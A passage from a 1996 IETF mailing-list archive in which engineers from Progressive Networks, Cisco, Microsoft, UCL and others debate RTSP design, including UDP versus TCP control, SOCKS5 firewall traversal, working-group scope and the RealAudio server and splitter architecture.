initiate UDP communications from the client side.  There is no mechanism for
a client to access the socket information  of a UDP socket on the outside of
a SOCKS5 firewall - only the inside. (e.g no UDP "BIND" command). 

this means that a client cannot start listening on a UDP socket on the
outside of a SOCKS5 firewall for packets coming back to it from a server,
because it cannot learn the port number of the socket the firewall creates
for it on the outside (only the socket on the inside).  The UDP support only
lets you start sending UDP packets to specified host:port by a relay
mechanism (with a reduced payload size too I might add).  Returning packets
are relayed back and may also be fragmented by the firewall - this is
because the firewall must attach another header to the UDP packet, and if it
was already at the maximum size (i.e 512 bytes) then you get frags. Some
SOCKS5 firewalls do not support fragmentation, and will drop the packets.

However, SOCKS5 does give you the socket information of sockets it creates
for you for TCP connections.

I guess maybe I should be talking to NEC about their poked protocol.

This raises another issue.  Most streaming clients I have seen create a UDP
socket for data, and send the server the socket info over a TCP control
channel, so the server can start sending data back to the client on it.
This cannot happen through a SOCKS5 firewall, unless you allow a mechanism
like the following:

* client connects through SOCKS to server on TCP
* server sends address and port of UDP data socket, along with a unique ID
number
* client connects to SOCKS server and sends UDP ASSOCIATE command, then
sends this unique ID number to the server over the UDP relay
* server then knows that the client is the same one (normally can also match
IP addresses) that made the request, and has the socket info from the packet
headers to send data back to the client, which is relayed back to it.

this way the client does not need to know the socket information of the UDP
socket on the firewall.

maybe this will tip some scales?


>
>So it seems to me like we should design an RTS(control)P so that it
>works over UDP (ie, has appropriate application-level acknowledgements
>and each message is sufficiently idempotent), but is unambiguously
>framed so it can also work over TCP too.
>
>#include <wg-chair-hat>
>Right now we're arguing in circles, and this isn't helping solve the
>problem.  We've been in this situation before with SIP/SCIP and didn't
>reach concensus.  It's beginning to look like the solution there is to
>do the same thing.
>
>Mark
>
-------------------------------------------------------------------------------
Adrien de Croy - adrien@qbik.com.  Qbik Software Limited, Auckland, New Zealand
                 See our pages and learn about WinGate at http://www.qbik.com/
-------------------------------------------------------------------------------


From majordom@ISI.EDU  Thu Oct 17 01:04:49 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18292>; Thu, 17 Oct 1996 08:06:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18286>; Thu, 17 Oct 1996 08:06:34 -0700
Received: from hofmann.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-25)
	id <AA04161>; Thu, 17 Oct 1996 08:06:33 -0700
Received: from internaut.com (Cust65.Max15.Seattle.WA.MS.UU.NET [153.34.42.65]) by hofmann.CS.Berkeley.EDU (8.6.11/8.6.6.Beta11) with SMTP id IAA11345; Thu, 17 Oct 1996 08:06:30 -0700
Received: from [204.57.137.9] by internaut.com (NX5.67c/NeXT-3.0)
	id AA17049; Thu, 17 Oct 96 08:01:37 -0800
Received: by multi with Microsoft Mail
	id <01BBBC01.DF4BDA20@multi>; Thu, 17 Oct 1996 08:04:51 -0700
Message-Id: <01BBBC01.DF4BDA20@multi>
From: Bernard Aboba <aboba@internaut.com>
To: Bernard Aboba <aboba@internaut.com>,
        "'Jeffrey D. Smith'"
	 <sumisu@nttlabs.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>
Subject: RE: RTSP - UDP and firewalls 
Date: Thu, 17 Oct 1996 08:04:49 -0700
Encoding: 12 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>If you are ultimately going to use UDP for multicast what is the value in TCP
>for setup?

Assuming you're proxying RTSP over TCP, then you can use the information 
arising from the setup to decide what ports to open for the return RTP over UDP
multicast stream. When the control port closes, the firewall hole closes as well. 

Of course, it's also possible to use SIP/SAP/SDP to do some of the same kinds of 
things, opening firewall holes for announced sessions or invited parties, and closing
them when the session expires. 




From majordom@ISI.EDU  Thu Oct 17 17:32:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19328>; Thu, 17 Oct 1996 08:34:24 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19322>; Thu, 17 Oct 1996 08:34:23 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA06993>; Thu, 17 Oct 1996 08:33:41 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.01129-0@bells.cs.ucl.ac.uk>; Thu, 17 Oct 1996 16:32:36 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
Cc: eduardo@netscape.com, confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Mike Po <map@netscape.com>, Atri Chatterjee <atri@netscape.com>
Subject: RTSP and MMUSIC vs AVT
In-Reply-To: Your message of "Thu, 10 Oct 1996 18:19:50 BST." <13719.844967990@cs.ucl.ac.uk>
Date: Thu, 17 Oct 1996 16:32:22 +0100
Message-Id: <16348.845566342@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Mark Handley writes
>
>This isn't strictly within the charter of the MMUSIC group, but as
>previous discussion on similar topics has occurred here, I think it is
>appropriate to discuss it on this mailing list.  We should discuss
>whether this area is appropriate for the MMUSIC sessions at the
>upcoming IETF, but I haven't had a chance to talk to my co-chairs or
>AD about this.

Just for the record, Allison Mankin (our AD) came back to us on this
agreeing that we should regard RTSP and similar *control* protocols as
being within the scope of the MMUSIC working group.  If such a
protocol can re-use existing MMUSIC work (such as SDP) then that would
be ideal.

However, work on compressed RTP (as included in the current RTSP
draft) should be in the AVT WG, and a resulting RTSP or RTSP-like
specification should reference the compressed RTP work coming out of
the AVT WG.

This isn't supposed to be dogma - just an attempt to avoid too much
duplication of effort.

Mark

From majordom@ISI.EDU  Thu Oct 17 17:47:20 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20237>; Thu, 17 Oct 1996 08:48:15 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20231>; Thu, 17 Oct 1996 08:48:14 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA07176>; Thu, 17 Oct 1996 08:48:11 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02029-0@bells.cs.ucl.ac.uk>; Thu, 17 Oct 1996 16:47:23 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl@ISI.EDU
Subject: Re: Re : RTSP
In-Reply-To: Your message of "Fri, 18 Oct 1996 04:23:39 +1300." <2.2.32.19961017152339.00922644@wingate>
Date: Thu, 17 Oct 1996 16:47:20 +0100
Message-Id: <16461.845567240@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Adrien de Croy writes:
>There is a very strong reason why you should seriously consider the
>implications before rejecting a TCP-based control protocol.

I thought what we were suggested was to design a control protocol that
could work perfectly happily over either TCP or UDP.  This way we get
the best of both worlds - can get through firewalls where it's a
problem and can get performance and multicast capability where there's
no (RTSP unaware) firewall problem.

Mark


From majordom@ISI.EDU  Thu Oct 17 04:15:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29647>; Thu, 17 Oct 1996 11:16:11 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29641>; Thu, 17 Oct 1996 11:16:10 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA15067>; Thu, 17 Oct 1996 11:16:08 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA18007
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Oct 1996 11:15:59 -0700
Message-Id: <2.2.32.19961017181530.009f6538@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 17 Oct 1996 11:15:30 -0700
To: David Oran <oran@cisco.com>, Scott Petrack <petrack@VNET.IBM.COM>,
        confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP
Cc: rem-conf@es.net
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 04:18 PM 10/15/96 -0400, David Oran wrote:
>Rob, I'm curious what you see as the scope of "controlling all aspects
>of transmission". Could you give some examples outside the VCR-button
>domain of what you envision?
>
>Just to stimulate discussion, what about an I-Phone conference using RTP
>and you want to put the phone on "hold". Is that in the scope of RTSP, part
>of the IK-phone session protocol, or something that belongs in RTCP?

Just to clear up a major bit of confusion here.  I think we are very
interested in eventually controling all aspects of one-to-many one-way
transmission (recording, playback, etc.).  However, controlling many-to-many
transmission is an *entirely* different can of worms, and I think is best
left to another protocol, such as what Jeff Smith at NTT is working on for
collaborative control.

Beyond VCR-button-type control, what we envision in the long-term is full
a/v mixer board control, rather than the telephone/conferencing paradigm.  I
see that goal as orthoganal to telephone conferencing control.

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Thu Oct 17 11:07:58 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03324>; Thu, 17 Oct 1996 12:08:24 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03318>; Thu, 17 Oct 1996 12:08:23 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18039>; Thu, 17 Oct 1996 12:08:22 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id MAA11914; Thu, 17 Oct 1996 12:07:57 -0700
Message-Id: <3.0b36.32.19961017150755.0071f914@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0b36 (32)
Date: Thu, 17 Oct 1996 15:07:58 -0400
To: Rob Lanphier <robla@prognet.com>, Scott Petrack <petrack@VNET.IBM.COM>,
        confctrl@isi.edu
From: David Oran <oran@cisco.com>
Subject: Re: RTSP
Cc: rem-conf@es.net
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

THANKS! That really clears up a lot of confusion (at least in my mind -
maybe everybody else is already clued in). By the way, it was real hard to
imagine what I could/couldn't or would/wouldn't use the protocol for from
reading the draft. More of this sort of stuff in the Introduction would
definitely have been helpful.

Now, another naive question. You talk about one-to-one and one-to-many as
being in the scope, but not many-to-many. Ok, now what about many-to-one?
In other words, I want to retrieve a bunch of streams from a variety of
sources (i.e. not all on the same control host or media server) and control
them together. I'm not sure how one would do that with RTSP. Set up some
kind of intermediate proxy which makes it look like the streams all come
from the same place? Set up multiple RTSP connections/associations, one per
media server? I think I know how to do some of that with a per-stream
control channel like RTCP, or with a multicast control protocol that all
the media servers can listen to.

Thanks for being patient. Dave.

At 11:15 AM 10/17/96 -0700, Rob Lanphier wrote:
>At 04:18 PM 10/15/96 -0400, David Oran wrote:
>>Rob, I'm curious what you see as the scope of "controlling all aspects
>>of transmission". Could you give some examples outside the VCR-button
>>domain of what you envision?
>>
>>Just to stimulate discussion, what about an I-Phone conference using RTP
>>and you want to put the phone on "hold". Is that in the scope of RTSP, part
>>of the IK-phone session protocol, or something that belongs in RTCP?
>
>Just to clear up a major bit of confusion here.  I think we are very
>interested in eventually controling all aspects of one-to-many one-way
>transmission (recording, playback, etc.).  However, controlling many-to-many
>transmission is an *entirely* different can of worms, and I think is best
>left to another protocol, such as what Jeff Smith at NTT is working on for
>collaborative control.
>
>Beyond VCR-button-type control, what we envision in the long-term is full
>a/v mixer board control, rather than the telephone/conferencing paradigm.  I
>see that goal as orthoganal to telephone conferencing control.
>
>Rob
>---
>Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
>Program Manager-Protocols                         Email: robla@prognet.com
>Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com
>
>
>
-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Thu Oct 17 12:57:36 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05907>; Thu, 17 Oct 1996 12:58:29 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05901>; Thu, 17 Oct 1996 12:58:27 -0700
Received: from ormail.intel.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20770>; Thu, 17 Oct 1996 12:58:27 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com [134.134.208.3]) by ormail.intel.com (8.7.6/8.7.3) with SMTP id MAA09731; Thu, 17 Oct 1996 12:58:23 -0700 (PDT)
Received: from mgrafton2 by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0vDyb4-000RmtC; Thu, 17 Oct 96 12:59 PDT
Message-Id: <m0vDyb4-000RmtC@ibeam.intel.com>
Comments: Authenticated sender is <mgrafton@ibeam.jf.intel.com>
From: "Michael A. Grafton" <mgrafton@ibeam.jf.intel.com>
To: confctrl@isi.edu, Rob Lanphier <robla@prognet.com>
Date: Thu, 17 Oct 1996 12:57:36 +0000
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
Subject: Re: RTSP
Cc: rem-conf@es.net
Priority: normal
X-Mailer: Pegasus Mail for Win32 (v2.42)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> At 04:18 PM 10/15/96 -0400, David Oran wrote:
> >Rob, I'm curious what you see as the scope of "controlling all
> >aspects of transmission". Could you give some examples outside the
> >VCR-button domain of what you envision?
> >
> >Just to stimulate discussion, what about an I-Phone conference
> >using RTP and you want to put the phone on "hold". Is that in the
> >scope of RTSP, part of the IK-phone session protocol, or something
> >that belongs in RTCP?
> 
> Just to clear up a major bit of confusion here.  I think we are very
> interested in eventually controling all aspects of one-to-many
> one-way transmission (recording, playback, etc.).  However,
> controlling many-to-many transmission is an *entirely* different can
> of worms, and I think is best left to another protocol, such as what
> Jeff Smith at NTT is working on for collaborative control.

I only read the draft once, so please let me know if this question 
makes any sense.  You're saying that RTSP is meant for one-to-many 
one-way transmission.  If there are many clients, then, is there a 
separate TCP connection between each client and the server?  Or is 
there only one, between some designated "power" client (who can 
control the playback) and the server?

Thanks,
Mike Grafton


From majordom@ISI.EDU  Thu Oct 17 07:01:28 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09242>; Thu, 17 Oct 1996 14:01:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09236>; Thu, 17 Oct 1996 14:01:56 -0700
Received: from mail2.microsoft.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA24105>; Thu, 17 Oct 1996 14:01:56 -0700
Received: by mail2.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.24)
	id <01BBBC33.B69654C0@mail2.microsoft.com>; Thu, 17 Oct 1996 14:01:37 -0700
Message-Id: <c=US%a=_%p=msft%l=RED-23-MSG-961017210128Z-76253@mail2.microsoft.com>
From: "Steven Levi (CSD)" <levi@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        'Rob Lanphier'
	 <robla@prognet.com>,
        "'Michael A. Grafton'"
	 <mgrafton@ibeam.jf.intel.com>
Cc: "'rem-conf@es.net'" <rem-conf@es.net>
Subject: RE: RTSP
Date: Thu, 17 Oct 1996 14:01:28 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.24
Encoding: 38 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I alsi read it to be one TCP connection per user.


>----------
>From: 	Michael A. Grafton[SMTP:mgrafton@ibeam.jf.intel.com]
>Sent: 	Thursday, October 17, 1996 5:57 AM
>To: 	confctrl@isi.edu; Rob Lanphier
>Cc: 	rem-conf@es.net
>Subject: 	Re: RTSP
>
>> At 04:18 PM 10/15/96 -0400, David Oran wrote:
>> >Rob, I'm curious what you see as the scope of "controlling all
>> >aspects of transmission". Could you give some examples outside the
>> >VCR-button domain of what you envision?
>> >
>> >Just to stimulate discussion, what about an I-Phone conference
>> >using RTP and you want to put the phone on "hold". Is that in the
>> >scope of RTSP, part of the IK-phone session protocol, or something
>> >that belongs in RTCP?
>> 
>> Just to clear up a major bit of confusion here.  I think we are very
>> interested in eventually controling all aspects of one-to-many
>> one-way transmission (recording, playback, etc.).  However,
>> controlling many-to-many transmission is an *entirely* different can
>> of worms, and I think is best left to another protocol, such as what
>> Jeff Smith at NTT is working on for collaborative control.
>
>I only read the draft once, so please let me know if this question 
>makes any sense.  You're saying that RTSP is meant for one-to-many 
>one-way transmission.  If there are many clients, then, is there a 
>separate TCP connection between each client and the server?  Or is 
>there only one, between some designated "power" client (who can 
>control the playback) and the server?
>
>Thanks,
>Mike Grafton
>
>

From majordom@ISI.EDU  Thu Oct 17 13:05:57 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02942>; Thu, 17 Oct 1996 20:06:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02936>; Thu, 17 Oct 1996 20:06:31 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA12202>; Thu, 17 Oct 1996 20:06:25 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA15313
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Oct 1996 20:06:28 -0700
Message-Id: <2.2.32.19961018030557.00a60304@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 17 Oct 1996 20:05:57 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP
Cc: rem-conf@es.net
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is an question Henning posed last week on confctrl about the RTP
compression design found in the RTSP  draft.  As per the request to discuss
the transport aspects of this in rem-conf, I'm cc'ing that group as well.

At 08:16 AM 10/11/96 -0400, "Henning G. Schulzrinne"
<schulzrinne@cs.columbia.edu> wrote:
>I also question the gain this provides. The RTP header is 12 bytes, the
>"compressed" version 5 bytes, for a saving of 7 bytes. RealAudio 28.8
>(14.4 doesn't seem to work on Solaris) seems to send 247 bytes per UDP
>packet. This amounts to a saving of an amazing 2.83 % of bandwidth (or
>2.6% if you figure in the IP header). 

Actually, for fixed interval packets, we can get the compressed packet size
down to 3 bytes by computing the timestamp based on the sequence number.

Part of the reason we send such large packets is to avoid being eaten alive
by header size.  The smaller we can get the header, the more headers we can
get away with sending.  That's not to say that anyone would, but its nice to
minimize the penalty should someone need to send smaller packets.  

That aside, even the small savings you compute really helps us out.  Lots of
engineering dollars are spent on schemes to squeeze much less savings out of
an audio codec, so it is incumbant upon us to eek out whatever savings we
can in the protocol.  Also, on really low bitrate codecs the packet size may
get smaller (if calculated by RTP-AV Payload criteria, with a typical packet
interval of 20 ms), and the 9 bytes could well mean a large overhead.

I do want to make clear that we intend to be diehard supporters of
RTP/UDP/IP compression once that is decided upon and products are released
that support it.  We will make every effort to have a smooth but speedy
transition to that once it is possible, because it is in our best interest
to do so (the savings will be enormous).  In the interim, though, we need
incremental improvement, and that's what this provides.

Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Thu Oct 17 16:37:40 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17218>; Fri, 18 Oct 1996 05:22:08 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17212>; Fri, 18 Oct 1996 05:22:04 -0700
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA27022>; Fri, 18 Oct 1996 05:22:03 -0700
Received: by INET-02-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.56)
	id <01BBBCB4.4B9965A0@INET-02-IMC.microsoft.com>; Fri, 18 Oct 1996 05:22:03 -0700
Message-Id: <c=US%a=_%p=msft%l=RED-81-MSG-961018063740Z-848@INET-02-IMC.microsoft.com>
From: Thomas Pfenning <thomaspf@microsoft.com>
To: "'M.Handley@cs.ucl.ac.uk'" <M.Handley@cs.ucl.ac.uk>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Cc: "'rem-conf@es.net'" <rem-conf@es.net>
Subject: RTSP <--> MMUSIC
Date: Thu, 17 Oct 1996 23:37:40 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.56
Encoding: 22 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Greetings,

before we continue the interesting discussion about the technical merits
of the RTSP proposal, I hope someone can clarify the role of this
working group in regard to the RTSP proposal to me. Is this draft now
being carried on by the working group chair (without the RTP compression
?) for consolidating the feedback of the working group to allow
refinement and interoperable implementations? Is this supposed to evolve
into a standards track document this working group is trying to drive?

The recent activity on this mailing list seem to indicate enough
interest (emotions?) to have a session at the IETF in San Jose. By
looking at the current agenda
(http://www.ietf.cnri.reston.va.us/meetings/SanJose.html marked subject
to change) I can not find an mmusic session. Is that an oversight or
intentional?


Cheers

	Thomas


From majordom@ISI.EDU  Fri Oct 18 05:28:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18584>; Fri, 18 Oct 1996 06:28:06 -0700
Received: from metro.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18578>; Fri, 18 Oct 1996 06:28:02 -0700
Received: from metro.isi.edu by metro.isi.edu (5.65c/5.61+local-23)
	id <AA16103>; Fri, 18 Oct 1996 09:28:00 -0400
Message-Id: <199610181328.AA16103@metro.isi.edu>
To: Thomas Pfenning <thomaspf@microsoft.com>
Cc: confctrl@ISI.EDU, mhandley@cs.ucl.ac.uk, casner@precept.com
Reply-To: mankin@isi.edu
Subject: Re: RTSP <--> MMUSIC 
In-Reply-To: Your message of Thu, 17 Oct 1996 23:37:40 -0700.
             <c=US%a=_%p=msft%l=RED-81-MSG-961018063740Z-848@INET-02-IMC.microsoft.com> 
Date: Fri, 18 Oct 1996 09:28:00 EDT
From: Allison Mankin <mankin@metro.isi.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Thomas,

The WG sessions for the TSV area will all appear at once,
as we treat them as a track.  We are planning two sessions
for MMUSIC in San Jose, and, as Mark said, I have encouraged
the WG to discuss RTSP, with aspects that are being
developed in AVT being discussed there.  We plan two sessions
for AVT as well.

Times soon.

Allison Mankin
TSV Area Co-Director

From majordom@ISI.EDU  Fri Oct 18 03:40:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03576>; Fri, 18 Oct 1996 10:45:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03567>; Fri, 18 Oct 1996 10:45:48 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11029>; Fri, 18 Oct 1996 10:45:47 -0700
Received: from mdlaptop.prognet.com (johnf.prognet.com) by murrow.prognet.com with SMTP id AA07647
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 18 Oct 1996 10:40:03 -0700
Message-Id: <2.2.32.19961018174030.0090ccd0@mail.prognet.com>
X-Sender: martind@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 18 Oct 1996 10:40:30 -0700
To: sumisu@nttlabs.com (Jeffrey D. Smith),
        Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
From: Martin Dunsmuir <martind@prognet.com>
Subject: Re: Re : RTSP 
Cc: Mark Handley <M.Handley@cs.ucl.ac.uk>, tim@boxtop.com (Tim Dorcey),
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I think it would be a great idea to have anyone interested meet soon in the
Bay Area to discuss RTSP.

Rob Lanphier is the contact here at Progressive. If NTT could host it would
be great, but we would also I am sure be able to meet at Netscape.

For what it is worth, I have attached a discussion of the RealAudio
applications model, which might be helpful in understanding RTSP.

-----------------------
The RealMedia Model
Martin Dunsmuir
Porgressive Networks

We have six elements in our current model: Servers, Splitters, License
Servers, System Managers, Players,  and Encoders. These elements form a tree
heirarchy for any given stream. Each stream has an identifier (URL) which
identifies the server originating it and the object in that server's
namespace (the RealAudio file). Both live and on-demand streams (the former
originating from live encoders and the latter originating from files) appear
in a single heirarchical namespace maintained by the server.

Servers accept connections from Players and other Splitters. Each such
connection takes the form of a TCP connection. Player connections support
the semantics needed for random access for on-demand (stop, start, seek,
pause and resume) and simple stop/start for live streams. The TCP connection
remains in place until the player terminates the connection, at which point
a single packet of quality of service information is forwarded to the server
over the TCP link before the player disconnects. The delivery of data from
the Server to the Player can be in three modes: UDP unicast, TCP unicast and
UDP multicast. To cope with packet loss uor players also support UDP-resend
requests for UDP unicast connections. The type of connection is a function
of the player, which chooses TCP or UDP and the server, which chooses
multicast or unicast for UDP connections. In the case of Multicast, the
Server communicates the UDP port and Class D address to listen on to the
Player at startup, in the case of Unicast the Server communicates the UDP or
TCP port (which is always the control port) on the Server's Class C IP
address. In the case of Splitters the connection is always TCP and the
control channel supports a protocol for license management, whereby the
Splitter can accept connections and cause the stream license of the
originating server to be decremented. This latter protocol is asynchronous
using a debit/credit system to prevent synchronous license requests from
killing the server. There is only one Server/Splitter connection per stream
being split by a given Splitter. The TCP delivery from Server to Splitter
assures that the stream is pure, at the cost of buffering in the Splitter
(the depth of the buffer being a configuration parameter of the Splitter).

Since Servers can be configured as multiple processes or Clusters of
different hosts, the Player-Server connection also supports "redirection",
whereby the Player is silently redirected to re-connect to another host
during connection to achieve load balancing. In the future we plan to use
redirection based on other heuridtics such as redirecting players to the
topologically closest Splitter or Cluster member. Splitters can also be
clustered.

Another aspect of our Server-Player protocol is "bandwidth negotiation". The
Player communicates its capabilities in terms of bandwidth and codecs to the
Server which selects a "profile" for delivery to the Player which matches
this, Currently profiles comprise single audio streams but in the future we
plan to support sessions with multiple streams, grouped into profiles. Also
the protocol supports the selection of streams by the Player on a dynamic
basis. For example, the user could choose to switch between cameras on a
multiple video session. In our more complete model the player should be able
to respond dynamically to a new stream arriving mid-session and route the
data to the appropriate Player module for play-back.

The Splitter is actually a function of the Server, but a Server can be
configured for Splitting alone.
Splitters look like Servers to players, the only difference being that they
are addressed as proxies, either within the Player by static configuration
(the default Splitter) or explicitly in the URL. Splitter URL's take the
form pnm://splitter/pnm://server/filename... The Player strips off the
pnm://splitter/ piece and passes the remaining URL to that Splitter over a
standard Player-Server connection. Splitters can be nested in URL's more
than one deep, in which case each level removes the splitter suffix and
forwards the remaining URL to that Splitter. Splitters too can be configured
with default proxies to use as their Splitters.

Splitters, like Servers, and although they always recieve their inputs via
TCP, can deliver data to Players via TCP or UDP (unicast and multicast).
There are many elements of splitting which need further work, specifically:
caching on-demand content, roll-up statistics to Servers and the forwarding
of user input to the Servers (e.g. interactive user choices); protocols for
finding Splitters by Players based on network topology and the insertion of
content as data travels through the Splitter heirarchy; and, setup of
Multicast over the Internet. Another area for future work is Player
Authentication. Today we support what we call validation, whereby the Server
or Splitter and Player ensure that they are bona-fide RealAudio components.
Authentication is the function of allowing access based on Player identity,
tickets or other criteria.

Typically Servers will be configured to reserve some or all other their
connections for Splitters and can explicitly setup the IP addresses of those
Splitters. Splitters can be configured to explicitly allow Splitting of
certain Servers and streams. Player connections too can be confined to
certain IP addresses or subnets.

License Serving is another function of the Server. Servers can get their
licenses (for a number of streams) based on a static key in their local
configuration file, or from another "License Server" at startup. In fact the
two capabilities can work together, with a fixed local license augmented
from a License Server. Splitting functions always depend upon the dynamic
license protocol described above and are in addition to any "Server License"
which controls the origination of content at the server itself.

System Managers are entities which connect to Servers and Splitters and
allow the configuration to be dynamically viewed and modified, they use a
different protocol, which is a dialect of RBP (as are all our protocols
although the document you have only describes the Server/Player piece). Our
direction currently is the Server also support SNMP. The connection of a
System Manager to a Server is controlled in two ways: a password and the
ability of a Server to specify explicit IP addresses from which it will
accept System Manager connections. 

Players are pretty self-evident in their function, but it is important to
understand that we see the TCP connection between the Player and the
orginating point (Server or Splitter) of its session as very important to
allow the originators of content to gain explicit information about who is
listening. Looking down from the origination point the System Management
functions should allow a Server operator to see exactly who is connected to
all sessions originating from themselves. At any point in the
Splitter/Server Heirarchy the owner of a Splitter should be able to see all
traffic it is passing and who, downstream is connected. It is also explicit
in our model that connections are initiated upstream, although this could
change.

Finally, Encoders. Encoders take raw input, compress it and pass it over a
TCP connection to a Server. The encoder supplies a password to the Server
(and may have to be associated with explicit IP addresses setup on the
Server) and also provides a virtual filename and codec type for the stream.
Within the Server mutiple streams with the same filename, but different
sources are combined into a session with that filename, as seen by Players
or Splitters. Today the model does not fully support profiles within Live
Sessions but it should.



From majordom@ISI.EDU  Fri Oct 18 05:36:04 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
